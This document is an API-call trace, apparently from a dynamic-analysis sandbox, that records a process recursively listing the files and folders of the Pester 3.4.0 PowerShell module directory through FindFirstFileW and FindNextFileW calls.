	[0161.845] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0161.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0161.845] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0") returned 55
	[0161.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0161.845] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.845] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0161.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.845] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin") returned 59
	[0161.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.846] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0161.846] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1
	[0161.846] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0161.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.847] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US") returned 61
	[0161.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0161.847] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0161.848] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0161.848] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.848] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0161.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.848] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples") returned 64
	[0161.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.848] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.848] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0161.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.849] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator") returned 75
	[0161.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0161.849] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.850] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0161.850] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.850] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.850] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0161.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.850] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0161.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.850] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator") returned 74
	[0161.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.851] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.851] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.851] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.851] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.851] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0161.851] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.851] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0161.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.851] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions") returned 65
	[0161.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.852] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.852] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0161.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.852] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions") returned 76
